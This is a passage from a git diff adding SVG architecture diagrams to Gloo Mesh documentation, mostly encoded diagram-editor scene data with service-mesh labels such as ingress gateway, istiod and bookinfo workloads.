Hd9h9LyEju2vhXHUwMDAzXHJ7KL5bXHUwMDFm8GG9k1x1MDAxYpdcdTAwMGItdcWmXHQhe1x1MDAxNy97XHUwMDE4d1ZPV7KF91K0fFeblIapZ9ktVvYw7mndtT982HVcdTAwMDTS/YJcdTAwMDFn+1jvXHUwMDE2bovX/O5OlmL6TbSHz12PzolflrztWWRcdTAwMDV5XHUwMDA2ZXKGKFOb5G3736YwXHUwMDEzU1x1MDAxZjUnlIX2pOb2wkw510qhY3ZcdTAwMDBcbiEzPVx1MDAwNitdQ+mcVfpcdTAwMDIwUk8xpd5NvDRsXo04XHUwMDBmLqcvkXdcdTAwMWF7f0pcXJfuK9nuoFx1MDAxNj2nj2JcdTAwMWIy+oVSqrS2XGIxpJtcYqnIipRcIqItkFxmLlxiZ0DOd6tk7nlCzVxc2KdL0FxuUkSaJkbHk9BdYlY+XHUwMDFlXHUwMDFid7nnVqN6pVx1MDAxMom3XHUwMDE5aj9cdTAwMTVcdTAwMWbR4bWXq/xcdTAwMDeOWamPx/1So1x1MDAxYrpQXHUwMDE1l3n5yr/3QS3z6WZAXHUwMDEwo1x1MDAxYnmQ/O9xOFx1MDAwMUBTY2/ieTNL5IhPQT+OaTlFwpyWXHUwMDFjRv6RtpggWlx1MDAxMIop5US5xLApZWnTS45IjVx1MDAwNdfa2cRUXG6OMCbHbGRcdTAwMTCKXHUwMDE4XHUwMDE1fyV0tlx1MDAxMqNcImCTXHUwMDEzhlx1MDAwNcFcdTAwMThWXHUwMDFl297mjFHBiOktY1Sw7uB8XHUwMDEzd9r374NyY3jfyolcdTAwMTH3mJQgXHUwMDAytJHgjMLOQ9JcdTAwMTk3Q5BFNCFA7JCWXHUwMDFj3uxsMHNSh8Te+988XHUwMDFjO38x3l/2n1x1MDAxYkNcdTAwMWZcdTAwMTWeXHUwMDFkIzBRlCxcdTAwMDWprkO+XHTpYVq/anTL5Wr1anKj5UXTq39paExcdTAwMTRccqvq04ZcdTAwMWQhbnOe05VpbVx1MDAxNFDvWZZcdTAwMThMJNtDXHUwMDExl1x1MDAxZVZ4MenfWFx1MDAwN5IhMZEhXHUwMDBl3/2ioJSlV05J6j1vvHlcdTAwMDAkbCjlXlx1MDAwNlx1MDAwZfVO6VaIg1UuN2hcdTAwMWLQmuqbRPeTXb/HX4tXXHUwMDExPeqPY9ehXHUwMDE3ctONiVPTPeDH87KQg1x1MDAxOFlcdTAwMDRhxkD8YbF8YnBcdTAwMDPEgXhcdTAwMTZcdTAwMWZfrPHCXHUwMDA1YbvUr3Ru0HtcdTAwMWNcdTAwMTFxRFx1MDAxZsRhxXorXHUwMDFmxFx1MDAwN3Z3P6ild1x1MDAxZd7mgHlsJYKMeltcdTAwMTimi6hcdTAwMDS7OriPIVx1MDAxMevdv83eU8On9/jsulSINtB1+OstU1xudoSkyHSEhGfmlMEginZcdTAwMTdcdTAwMTEkbuVZXHUwMDFkXCKIXHUwMDE1TE6B2fMtgmd2XHUwMDExJCFcdTAwMTFBsq1cYnpSXdBcYlphvIFcdTAwMTbMp/Kli0Q+3Zio2N3r+Vv3MqJD37HQ5KZRi+PfJZO5U1x1MDAwNG3Zoz6OvoOrQUxcdTAwMTVcdTAwMDVdLcmJOvqmmVxcqn//XHUwMDExlZXojJdn/Wo53ktcdTAwMWPJ0ffnKFnhXfGSacFcdTAwMTnmJLiIX12zdDVcdTAwMTKZVEasdYmT9X70cZBcdTAwMGa/iFx1MDAxM1x1MDAxMGLKvMxZI+JGw1wigFx1MDAwMCS4d0/mL1CzWFx1MDAxMlx1MDAwMFx1MDAxYaRCLOLfanZzIVSeh96UU4GZ3KAxcOojpVx1MDAxZcbPd8Xkfaw/k3dcdTAwMWb8llVPQ1x1MDAwNlx1MDAxOVFcXGLzLPSyXGZcbsW+QFx1MDAwNl1SPJ0yqJXCXHUwMDFhk39vTud2XCJIQ1wignSXXHUwMDA2IbYza4fFXHRmXHUwMDE4wVxcXHUwMDA3tzij6cSdTnXO269cdTAwMTdXmfzt3ezh/T5cdTAwMTXyQy3YXCJcdTAwMTZGv1x1MDAwYvnRJSnkWHCLc1x1MDAwNDtJXHUwMDEyivVuUrjfXHUwMDEwS1OxXHJMZHFM1+4uMZZcdTAwMGYv/Y9mOXk/fuxdospLPl9cdTAwMWPfXFyFN1x1MDAxOPLUkn9cdTAwMGW0vKc17KGSf05rXHUwMDE1TmXYdSGh7lx1MDAxN1xcXGbrQKxDh25q5tlyXHUwMDA3lKdcdTAwMDJTUqjgXHUwMDA3o/7rXHUwMDE5Ulx1MDAxYVx1MDAwYvpT+ulPRS20J/25nzq4hCC4Md9pRT82+E9cdTAwMGU5XHUwMDAyhlgpXHUwMDBlK2d3vYo7qz1QXHUwMDA051x1MDAxYca4ynWX5rk967WnXHKtyq3gknNcdTAwMTNBXHUwMDEx3PycXHKvblryI5K+0Vx1MDAwZsVmJXJbLV1sw3q/MLFIKWRcdPdMQE44tohgmjLTVMGn/NjXp1x1MDAxNVx0U1x1MDAwNUpjXHUwMDE54kqBflx1MDAxYbOSbDzOMtePXHUwMDE3V5VGsZy6aTZm48HuivhAw36nXHUwMDE1neJd+1x1MDAxZfZcdTAwMTDDrqOm7lx1MDAxNzxcIjWV2DPdXHUwMDFkiKnpz7DBOab/coaXmXJvXHUwMDFkJ5Ql96Tj9tLUi0rMtOZh1mxH4KVA884mjXH97Lz70XNv2nwoZrqG1a0y05WZbs9NpfROeiemJVx1MDAxZkEouORcdTAwMTben6LsLUt651x1MDAxN5lK5yFfrL6X69tw06+UW6kt8ktsXHUwMDExWSlcdTAwMDdHqbZcdTAwMTRcdTAwMTXwj6lcdTAwMWK3Y/jBnns0IFOMjHBcdTAwMWVi49JPa+ZGXHUwMDE3l8VC8u0xXVx1MDAxY6SyKXZTjJJueHnkqXlkXHUwMDBmtLxcdTAwMDdcdTAwMWH2SWe1oirXbFx1MDAxNa6HNTVJvFx1MDAwZibNPaxCpoFcIlx1MDAxZFnPPzZcdTAwMWZvXHUwMDFlPkQ7XCKq9fY+Vlx1MDAxN5VlrYiGafw0fiwmXHUwMDEzKIlcdTAwMDdcdTAwMWXLsNG4oDaqqWG9KD/G9VxcM1W6TL/WPFrEbmZVNK5l8iUu8q3Pu3YpLWPoc7KPfuintcv2Puw6ou5+wSNcdTAwMTJ1Rbx9yEJcdTAwMTGiXHUwMDE1I1x1MDAxYtTC913P8DJ15qfxubRoXHUwMDEwjf9F7So4Y5wpXHUwMDFjZi1/XHUwMDA0qp5s93pnmeqo/uU+5DVcdTAwMWN3lakvT3RcdTAwMDei7lx1MDAxZMKEiUJcdTAwMDJJiYJXTb1cdTAwMTh/qFx1MDAwYtxuR+rk+uqt8ljtTj68gvVPg6gzoixcdTAwMDaLoE3Ncko595TbnVx1MDAwMoW38yMrqvXphk5cZsao3YtmPlOPrejtZeS1Qq6z/d2V8TdRP+jyntawh1xunTitVdj7sOv4qftcdTAwMDWPyU+9Y1x1MDAxY5SWglBFg2s5/+U8TXpcbmzQ0oH03Fx1MDAxN/FT2Fx1MDAwN8woN3HEkPlcdTAwMTBcdTAwMTLUy9G40ftycrqG162S08Ukt1x1MDAxM1bsXaSKXHUwMDBirVx1MDAwNVx1MDAxMjq4MfnSvy08llx1MDAwNqXbi8v7l1x1MDAxN9x8KF3NXHUwMDFlQi+tXHUwMDFhXHUwMDExSy1cdTAwMWXLqS1cdTAwMWPDq4FcdTAwMGV+dlxySLJcdTAwMDWQ/JZV6kxvXHUwMDExXG5rhlx1MDAxNDrRXG7+leF5tlJcdTAwMTg2293zXFw891bhkVdcdTAwMTVccsZcdTAwMTJ20WSuSFx1MDAxMLhU1XW1Vu26w4DN1fI10fs/57KVtGvkXHUwMDFkvI9cYiFcdTAwMWPMr+C6+elh8FKM9S9ux/ekXHUwMDFjLaQyLfH2XHUwMDFhdmnXUjNLKzD7XHUwMDE4KD1FlpNoqEbIQvz3Y6d8cV9ply75qi7Sjs18hThmMtsu0n6FXHUwMDA3N8mJpLI8vlx1MDAxZFJcXLqUXHUwMDAzklx1MDAwYru0x9uNpVt2TGn/OVx1MDAxN19p92mRiD0zVymTXGL0yFx1MDAwNo2N/e9lKFx1MDAxZE5aKmTJeUkjrkwk74qwY2kpiTFWXHUwMDEymfpXXHUwMDA3Olx1MDAxYTa1aqWQmsOVXGJWtry9RUVKy1hcboRiXHUwMDA1c6JEO4BAalx1MDAwMlx1MDAxM+DqX1s7XCJgXHUwMDA1On+dc2ZvXGJcdTAwMDb8XHUwMDE1Kc2lpopcdTAwMDOMStubfrYjXHUwMDA0I01cdTAwMTBBlVx1MDAxMrBPJGi/n+/wKEB3svWgXCLeW9A8XHUwMDFjm28x3l/2n5uyXHKsPCPKXGLigmFlq1xuuFx1MDAxNn5i9edpXHUwMDBms/FsXHUwMDEwXHUwMDFm5vK1cnp29TbZjm14hk1XiqN6db9cYoSlsDiCTSh+PC8hXHUwMDEw8HhqwcJcdTAwMGJJOdxcdTAwMWTmXal6J483c0naddbA5VJcdETp2tJcdTAwMThhRZCtdH21+9ZcdTAwMWKWq/90h3C9s3ZcdTAwMDPk2b2F+peXoXWd2ZY8gHtWidKMgGLcgFx1MDAwNVxcn9+8VurkRspsOlx1MDAxM71cdTAwMTme3z6xLWtEfaVcdTAwMThSXG68fiGGK1x1MDAxNWpcYqOWXFyI4YFcdTAwMGWetIszXHUwMDBlO+VQMVx1MDAwMEdM1lx1MDAxYfhhlcOAmryXwfqjeXtzmVx1MDAxZfVcdTAwMDbZRifbvnpou2tyU31XaEFMY0977ZEzW2Nh41x1MDAxMZHaNFx1MDAxNTYpZM7GwnvV5Kui9sUlXYX9XHUwMDAzXHUwMDExXHUwMDE24COa2T+CKdlQxfuXXHUwMDA0IJ5eXHUwMDA1Lk1cdTAwMGZkxoPHn+ryR4bSl0yrcN+c1qs5/VSc0u3wZVx1MDAxYjtjXHUwMDAxXHUwMDFiXHUwMDFiuVx1MDAxMIXmXHUwMDE2osqUPNZcYomVOpBAuCyulFx1MDAwMlx1MDAxOVwiXHUwMDFjKW94YZojLrczM1xiIVx1MDAxNrZVXHUwMDA3cWvGXHUwMDBl8mv9esP82VHqXHUwMDFhYEeb/2yf/mr0+X1ccrdcZuLSR0XiSKEzzHdjt3ek+t593UcmXHUwMDEw70QvZKfUKtUy9dTkvjN7jz3RYOM6vvLBc4htXGbNmUOMJdd4g1xcxPFl8v2yXHUwMDFlxez8IUtyXHUwMDAyJ/LPXHUwMDFmoa84p1x1MDAwNEHAqsFmw4SB0K1cdTAwMTZXxtxiXG7seSpBWij1XHUwMDE2OJBMVvQvLe/rxSNu7SWcbjxCTGFcdTAwMTR76bt9XHUwMDBi1ddcdTAwMWSfbdrf4WzSXHUwMDFitrzbO3y5R805re1INbG3XHUwMDAzWJFDISVoaUqC02p/XHUwMDAwXG6lc23ea1BcYlxu1oWiTDpMW4mNXHUwMDEwYiklbHyOvW3bXHUwMDAwQuip9Vx1MDAwNLckp1x1MDAxOFSvmidEuZSIw1xibGx4XHUwMDA3qDxcblfiNmL9y8vOiUKEM3E8pfdFJc29yLg/61pcIuNUXHUwMDBiYY4lXHUwMDE0YYyaXHUwMDAzIydcdTAwMWJcdTAwMDeSobTkRFx1MDAwYqAhUklnY4dT8p55bjHzcG6uXHKZtU9cdTAwMGJcdTAwMDVP3z1BppIq3IDgtNq/v91+zPZcdTAwMDP0UODCYlx1MDAwMlafSFx1MDAwMInlSiGmoLqlXHUwMDEwNWXxqKZyXHUwMDE1+PZjtEukLFx1MDAxYmGWLqSaXHUwMDAz25B25u2AXHUwMDE3xahiQlx1MDAxZFD9h8KiT0xGvYhcIoVcdJCy0V0lklx1MDAxZNcuXHUwMDBibiBiusNcdTAwMTjExUpiXHUwMDEzYqKIdoNcdTAwMTHAXHUwMDFhrIkp3Y3gP6LXXHUwMDE49V7T8u/5toRtcCulJlx1MDAxMpn+3lxiXHUwMDExZ3tcdTAwMThlXHSGKSPUlKhRSPCTRrZcYmZLXHUwMDFmIEZlXHUwMDEzm4G4dlx1MDAwMKJXxIPax6OUrJiba1x1MDAwN6SaWbZcdTAwMTlQ+7HNmVPU1o7nKb/mwajn913G7r9+XuDvYr//MFx1MDAwNvn5vd3+/mhUJzHvMiZ//dxcdTAwMWJcdTAwMDZhq+a+/c///vW//1x1MDAxZnbkYFx1MDAwMCJ9 + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientenforcerate limitshttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg new file mode 100644 index 0000000000..f1a6004b06 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/root-trust-policy/gloo-mesh-root-trust-policy.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO29WVcqy9IufL9+hWOd202d7JtzJ6IgXCKINIrfPoNBXHUwMDBm0lxuXGLoO85//1wimU4poFx1MDAxYVop55S9hu5pQVaSXHUwMDE18eRcdTAwMTOR0fzPP2dn/47fXHUwMDA2tX//z9m/tVml1GlVh6Xpv/8xf5/UhqNWv1x1MDAwN5fI/N+j/uuwMn9nczxcdTAwMWWM/s///t+lwcBafMqq9Lu/Plnr1Lq13nhcdTAwMDTv/f/g32dn/zP/abtXaTjs/7rN/M+LW1x0Jlb/muz35rfVVFx1MDAxM4IpQZ9vaI1cInCrca1cblfrpc6otrhi/vRvo8reOu1xuFhvXsTaXXExVLd3i7vWW51OZvzW+fWdSpXm67C2uDpcdTAwMWFcdTAwMGb77dpDqzpuwnW88vfPz4368O1cdTAwMTefXHUwMDFh9l9cdTAwMWLNXm00WvpMf1CqtMZv5m9oMf1SrzFcdTAwMWZj8ZeZ+ZqaW0jD96SCM0pcdTAwMDX9vGo+z7hEXHUwMDE2R5pxTOH/XHUwMDEztjKvi36nPzTz+l/1+Wsxs3Kp0m7A9HrVxXvKNVaullx1MDAxN++ZfnxbZTHMMFx1MDAxMfCf0lx1MDAxMjP++Y5mrdVojudfZHHn2vxcdMCUXHUwMDE4I0Qvvra53eC6upCD+V8z4maYfopdXYReiap2UsVcdTAwMWVO6H8/rv/f1XVuloaDj/X8dz572zcy/7y0ydriw6+DaumXXFxgwbjAUlx0pvVisTqtXlx1MDAxYi72XjtcdTAwMWTbXHJLw3G41au2elxyuPY/i1x1MDAxOX/I8/VcXKhS57L5Uuni5lOslVG8kVx1MDAxYtZD75+TMmLVr7ya6cBz4kxSTpBEhGuEiO1NjdLAKJa0XHUwMDEwp1x1MDAxOIFYaypcdTAwMTlcdTAwMTNcdTAwMWZv+H+fk6r1qv5TXG71X+6iqU6y0Fx1MDAxY1x1MDAxNV5UfpwsoPi185RcdTAwMTCSQmMhXHUwMDE5VVx1MDAxMmumnCZFLaHNc1dcdTAwMDJcdFx1MDAwMt9hbVKd0mh80e92W2NY47t+qzd2XFzLc6PkzVqpunpcdTAwMTW+lP3aKlx1MDAxYVxmzIjLQrP4f2dcdTAwMGJ1mf/j8///3/84vttVlM0rhG2f/8f+++PLrlx1MDAwMVx1MDAxN1xiTs1cdLcw4cpccrgwrFwiYkzqz7X2RS5cXG49JPjwJn55nVx1MDAxYk6uXHUwMDFl316j/ZRcdTAwMGJyrSDQqXCLcyM3UnPOXHRBjCyWw3xcdTAwMWVcdTAwMTaAWlxcMYQ0JbBcdTAwMTbSXHUwMDE1t1CtjGvMXHUwMDFit5aA7TdoUWVcdTAwMTFcdTAwMDIzgC1Ega5cdTAwMGKxUPdP1OLI0kJThDVXgmtuW55fIEZcdTAwMTlWQlG2+KwziL3fvSZnt1wiP3hcZqthP1NLNl+GTbvKjae9cCo1YZ1cdTAwMWW/KszabTU+f+vb31DotSWpRN7V2+216lx1MDAxNnNcdTAwMTekx7P2N+yOkyPzjz1wclx1MDAwMfdcdTAwMWLg5Kpmu1xcOTBmLF07KGBcdTAwMTBuMcVcdTAwMDTssVx1MDAxMkRVLyR1o0+7XHUwMDBioXlhYklGKOFMabikpNxvvDVx9lx1MDAxYlx1MDAwZVx1MDAxZO7TXHUwMDA3Q07YXHUwMDFlXZGTweRcdTAwMTjDdEFcbv2Qc1xcktfivVx1MDAxZrluotCsXFxOXHUwMDBlxehNXHUwMDA3XHUwMDFjOaW2sKSCKFxu9IlgvY6cRCDKXGKGhdDujG9n5FxcTGdB79YkdVx1MDAxNSkxkFx1MDAwM6awtu1qP1D5d0Hl0ru9sG1PgFx1MDAxMO7USjIkJEVqc6Ow9daevj8koqXBeaXJXG4s077lQadWS1x1MDAwMIFtQvdcdTAwMGIguFx1MDAwMF5PhJCAXHUwMDEyVFx1MDAxY1x1MDAwMSA80OBcdTAwMTMx1uxBJajkjOhcdTAwMDV2/+DD34VcdTAwMGbuYrPy8Y3wYVirjH/ph1x1MDAwM0hcdTAwMDCRccVcYq446Fx1MDAwNaJbmF99lKuoeCyZeIq940iOnvfKpaA7juZcdTAwMDaYXHUwMDAyI1dSRrlmXHUwMDBiXHUwMDFkdaJcdTAwMTFiZV5bocR4WOqNXHUwMDA2pSFowZHsMKVcdTAwMTTXwlx1MDAxZjyCjFxyn/f4XHUwMDFmm9S7uEBtwtdslC+r2XzmevhcdTAwMTTvj9/7KjSUlX8/3/f//uM87q9cdTAwMGZfZaIq8jyeRfR9qfdcdTAwMTbJtWo6jJfvsjyBXHLHrVx1MDAxN/viMlx1MDAxYk9GR2pUSlTqb83Qu95s3LWl3Fx1MDAwMil3XCJcZsZn5Vx1MDAwNlx1MDAwNlxcXHUwMDExJIW0eSf8sKB/8faYfH1cdTAwMTevottpNthD6pp0nlx1MDAwMs5cdTAwMTdcdTAwMDRcdTAwMDIkXHUwMDAwXHUwMDA1JFQyjG3a9cFcdTAwMTeUXHUwMDA1iqeJ5FxcULxcdTAwMWZfqKI6q2tcdTAwMDfKXHUwMDAwXHUwMDFhrikmTFwiXHUwMDA1N1wiWq2jXHUwMDAw5lx1MDAxNjxcdTAwMGItXHUwMDE0g9kgQiRbhVx1MDAwMcPv4IrEfkZGr/d405xVJr2rN056U4las8tJQHDgb+NcYlx1MDAxNqKccMB9eHZcdTAwMWEzXHUwMDBlkvif5evIsFlOMJHwk2mFqS+VQJZcIoxcdTAwMDOZMM5cXGC8S0OGzJiKXCJGOOxt8Fx1MDAwYpbV15thhsRcdTAwMDQxRVx1MDAxOdagKUueYSOa3JBcdTAwMTbCXHUwMDE4Z1hxv9G4RanRNk1cdTAwMTV8faSXJ4ixhVx1MDAwNfBcdTAwMTDgxIiAUDO/4eBcdTAwMWJhoVx1MDAwNMJMSPhcdTAwMDEmzsK//Ht+5lxcQVx1MDAwMLlcdTAwMTJcXFx1MDAxMuTvvNnvsWxE0WqdTmswclx1MDAwNmXAXHUwMDAxV4ZmPPNcdTAwMTJcdTAwMDFF2Vx1MDAxOJVfXHUwMDEzkzZp8lCz9NB7ea6EUm/R9CT4qMyQwkZ6XHUwMDExQTZa9IHKcFlTbc5lXHUwMDE0UmplXlx1MDAwN0JlXGaMnIPJrLBcdTAwMTErhFx1MDAxY1xmOY/3/EZlTVx0Vtj+XHUwMDE1gofKfoeFX8vOfMdcclx1MDAxN2aDliqweP5cIj1+K7Zvw7exh69gUZ5mlfAwq1x1MDAxMOztmFx1MDAxMrm5WcVU8b6czatCtVx1MDAxYq7dJdljvcRcdTAwMWFBN6so7Fx1MDAxM5gjqVx1MDAwMVx1MDAxYc1Pm0kyP5AnilrAXihwXHUwMDFkQWyYuq63StZ52VtvMSkrJdb1liBjVC1etiiJT71cdTAwMDWjXHUwMDBiKJfttcamiFKSKir9jKqvNok+NFx1MDAwYlx1MDAwZi/Sld7DJdK4nY9nJ/o+2jyA6Vx1MDAxMsH0XfZ092VcdTAwMTKPNCfZ0tXVZPp+YtPFR+lcXM1cdTAwMTfNKFOKbmG+eMdcdTAwMDZcdTAwMDRU5zhVwFbAMCB8/nNF4zgxzI1zWFx1MDAwYmBa2lXjwKxAXFx6a1x1MDAxYyGqXFxz0DhMXGJaUidcdTAwMDf7hag1XHUwMDE1m7MnckxcdTAwMTXbbV/7JVxmNZR4nE4r+nZcdTAwMTZcdTAwMTmG1CTSuFx1MDAxYrXiXHUwMDA3UDGWQGh0p5/bT41MOPeeT6cwfj3AuN5cdTAwMDFcXJ7jnkh1lft+yaimXFyCKbyx7kannUtcdTAwMTgx0+qq6StjtUrkPnJcdTAwMTN03VVUL+nu2nbJN1PeXHUwMDAwbJeSaK6I7WzpXHUwMDBm2S5Po1x1MDAxYlx1MDAxY7uf81x1MDAwYribsd8339cyovxW5++h+GB2d95N3Ke6XHRCgq5cdTAwMWJcdTAwMTgrXHUwMDAxdrugTJNfP1eUXHUwMDAzZJJupFx1MDAxY/PX7j56MLiXhX9dP5RcIpawvfiqemDMhYaZouPpxz57XaKXi9eiw8pNvPpyqZ5z9bvMZeJcdTAwMDB7Uvj6+Wk8XHUwMDE5ZTsv+cxg0p3dXCLWpkHWO2o7XHRa0TuQNGBITGzud8lcdTAwMTVrldvsVN6Uy8lcdTAwMGJ99UiHN/Vp0NWOMGLXOqXpqdRcdTAwMGVsRV+1WztcdTAwMGLDWnGKOFx1MDAxNqdTtK+mUdSVRploXHUwMDA3QchcdTAwMTZcdTAwMDFcdTAwMWb0YVx1MDAxOH1cdTAwMTBPlZdncaPzKT1cdTAwMWGmSTzoXCLLXHUwMDA1s7iNRa1uXHUwMDE0XG5/XHUwMDE3XHUwMDE2hVx0ksbvfUTp/atoXHUwMDE0szncVnWDMCmZ/bDMTzdcdTAwMDQqXHJeqlk0nSWu3lx1MDAwYreJ65f+bfrrdFx1MDAwM+2kXHUwMDFiRM3hnFx1MDAxOVx1MDAwZiQ2eLDsSYeVV5bAXG5Rxlx1MDAxOMHUVTf2clx1MDAwZkhQULvc03XdoHa9/Fx1MDAxZDTJXHUwMDExbDc2nlx1MDAxYiTK9Kqeq4NEt5IvxHvtUZq1XHUwMDA2qFx1MDAxN1x1MDAwYrIuUIHddFx1MDAwMVx1MDAxYnNCb5V00Vx1MDAxZk1edOQmzbuEjVx1MDAxM+f3yZtoNFx1MDAxMvSNXHUwMDAyXHUwMDEzxrxMXG6u+YbcZo+dQlwi5MdrMFnjNURcdTAwMDH1RD/29aE2XHUwMDA25m5fc9iY53EvXHUwMDFiK0P0+uLqneeSQ3RXf82F9WAgdexcdTAwMWIoXHUwMDAz91JcdTAwMDZJtGXS7SjDTGOxOrGDKYNcdTAwMDNPXHUwMDAyLoXsL7qqXHLYXHUwMDFj+2pEfUNdTqNcdTAwMGX50pN4bpXrl22cZeilXHUwMDFkXHUwMDFhoMh9kNWBSuqmXHUwMDBlioBcdTAwMTBcdTAwMDAn3dzsVVmNp/jt4blcdTAwMWbt3Y86svecYnyXcIPVYKsj+mFcdTAwMDX2Ulx1MDAwNUroZlx1MDAxNoRcdTAwMTKkpivequCWR1xmj9dN6lx1MDAxN6Gg6ySJXHUwMDE4p6vWXHUwMDAx1YTutFJ4XHUwMDExvJu6j/TBuIlccl8vZlfOmjCuzcab+pXkuFVcdTAwMWXV3lx1MDAxNYk/tjqP3Xqo9kjZZlxu5jnuZTF9gW9ZfNov3+K7x7G+ic0yXHUwMDA3XHUwMDE4tzIpR2WkXHUwMDE3fs62aEbF3rLPXHUwMDE3l+VcdTAwMDOMe/DlXXr3fza94Vx1MDAxN8DX0oTsyKVcXC08zJnCSjO9eUKc93pcdTAwMDZ0I1fC009O5/v4XHUwMDA24LVBXHUwMDExXHUwMDA0T4dcdTAwMWTmXHUwMDBlwes26+3TQyep5CZcZu9kiLVfkGm931x1MDAxYmda73OfMFr661Wp2+q8LT3IudzClFq9xlx1MDAxMGZ39t9eXHUwMDAzbjgtvdnXeVSbh2fDai1/8LzTavTm+Fx1MDAwMTOvXHKX5H/cqpQ6n2/otqpV+9ZegdmUYMzh9SZbcn/YarR6pU52ZbK/p7pcdTAwMDfPxq6BjGDZXHUwMDEzjFx1MDAxMd5cXDvZtKbSz+3S5LzwysJ3qeIwXCJpwIlcdTAwMDXXXrrJsFx1MDAwZSqxIIhcdTAwMDO/XHUwMDE24ognVvtcdTAwMTCL63r6ftq/yNBcdTAwMWXJ9lwivWE03pvc/Fx1MDAxMItDXHUwMDExiyMt75GGxfleRVTyxfJz7eFcdTAwMDKdR9NhNE3utVxufjzI+YuckFx1MDAwNzHuasFhXHUwMDEzJM2XXCKQ/ZDW+zlcdTAwMDWWXHUwMDA3eTr3XHUwMDE42dC592U8XGJhrIWSp7PcTsCDaqXReFpcdTAwMWKNT0SEfCjEKlx1MDAxMfqc7f5MSCCPpFskXHUwMDE141psfk5cdTAwMWLLSK1EJFx1MDAxYr2KXHUwMDEzNL7K8Ur7ubhcdTAwMGJcdTAwMTX6wthwSixcIkDqmZz/pCvBbqaWXHUwMDFiXHUwMDE1XG4juIZcdTAwMDSn3FVBN4gsODRcdTAwMTnCSJr03IC631x1MDAwN+Xnsurh3rCTzdbvi/mbyzqv/JChQ5GhIy3v91x1MDAxYTZdeOA1NUqwcvmi/ZBcdTAwMGXdvsYuOkflWM5f5IRcdTAwMWNLcNfgMC40XHUwMDAyYrGFq8n7MVx1MDAwNZRiUSq9MJwjTCy1XHUwMDExhlx1MDAxZoVkkbWAXHUwMDFhqalJXHUwMDE29C2N8EdxrNZo3OpXXHUwMDFkeVx1MDAxNZZL7z5cdTAwMTiv8uEja1x1MDAwZaZfM9yDTWHupopcdTAwMTRLLajaXCI8WkhRSF+UW5NB+IJcdTAwMTfJ+Vx1MDAxYr1rd4JNppRcdTAwMTSWJopLbJJcdTAwMDQkWi6DXHUwMDA2YqUsXHUwMDEzzkFcdTAwMTDmWIr9qJRrWM9OVEpcboFcdTAwMTkl6nhRPfswqdvUU/e8Prmc3Fxc6ItcdTAwMTQpq5tWcfDDpFx1MDAwZcWkjrS8R1x1MDAxYTav01pRlX1uPyWGXHI1jby+TJ9cdTAwMGaxXG4tXHUwMDE06spmIfecS2Ymolx1MDAxM1x1MDAxMrXmflTq17hZVJGNXHUwMDEyXHUwMDFh3uD8OFeKRlBcdTAwMTS/9Fx1MDAwZTDuJEXbiWlcIkInk1G7XHUwMDFh6yRQXHUwMDE551x1MDAwZXF6iSpXl5P65WvkatRD77HqXHUwMDAzetww2XRHSuksKKeklMzVK0CFJJLxLVLgvNUgoJRSKeyxk3HYVSy9yU72RV47oYTkRLG/6vAy2un3z25ro+bZf3ulxtLyfYHPzoeerXLLxWR/TXUnvWTuVbEwoYQqsG02V8x79nJdjLEueUyURfT59b7QjsyCrphcdTAwMDRcdTAwMWKHOdJcdTAwMWO+7fznMsVcdTAwMDR6aXGtiJBSXCJzhumqmVx1MDAxOMSy5Fx1MDAxZFx1MDAxZuipmfZq8Yt4cbGqmVgoJZnGXHUwMDAxjYR6L+dcIreTTrhcdTAwMTaNskE9hlx1MDAwNtF2q7bZZrfPruSo+GpTxS/3++1Wr94/m/aHbXhAlZqj5ttcdTAwMWX+dpo/7lx1MDAwZtzUfmnyqzruMC9PNXdtoVx1MDAwMlLsqueIKKkpZptcdTAwMWabeT/jQFx1MDAxYZJcdTAwMDTT5SjgZS2HPXezQ7NccpTc3ZBExFwinEpsylxcUoyoQ+6UOdvTQihcdTAwMDazRFx1MDAxOOz7NfU3hbg00kdcZis6SuKf7YZcdTAwMWK1VPHeS86WW6pwXHUwMDA1pjaCX4hcdTAwMTF7QdmP7iXY+mBd5qcgdL17yZdcdTAwMTXNO2pfk5C7hJnXmmwtxvvH/nvr2ETqmnFjYEUzRLaIqk6FXHUwMDFmR7fZdo7Fw31cdTAwMTGmjViRvlx1MDAwN1x1MDAxZFuI9sBcdTAwMTZB5OHyMt2wxZ4+9lx0JrYj98/yXHUwMDE1XHUwMDEyYa2/W9bwYXb3UH1cYm9cdTAwMDSFXHUwMDFj/bfXK3Vr7lx1MDAxYr3YleLvu9E7T3E3rXTPXHSlUptcIqxbpMFdvmTG2YiKxK9jMVx1MDAxNVfd6HW7qYKulVRbxFUrXHUwMDE1QofLgXPVSuqQ9baulVhqSbTwr2h7mlx1MDAxNNBcdTAwMTOl+Vx1MDAxY0jpzfNcbrbOO81wN5pcdTAwMGZbjZvOXHUwMDEz2ISFRNtsxd7ZjkFVemYpXG5k0JxTI7SSXHUwMDA1XHUwMDBlXHUwMDBiYGk8r3av4C375fp5pIFbJrdSc8FcdTAwMTmTyqkvhkVM1zOuTcq6NMlcdTAwMWLrZj6GceDCXHQr6XxRjWo3XHUwMDBiwDv1eslcdTAwMDIg1Fx1MDAxNC1cdTAwMDdIV5JcdTAwMTC+XHUwMDAw84VcdTAwMDVALE4kXHUwMDE1pqozrCuVv7nvwlx1MDAwNPheRN9NxuZXXHUwMDFkxGtLqu+KMFxuu/ZiNU1cdTAwMWKQ2lx1MDAwNmC8N5bgXHUwMDAyXGZcdTAwMDL7XHTWllKuVllcdTAwMDWlllx1MDAxMJhKRoSRsi9cdTAwMDFcdTAwMTjicCBccjhnypdcdTAwMDOvQExcdTAwMDDs8fWQXHUwMDE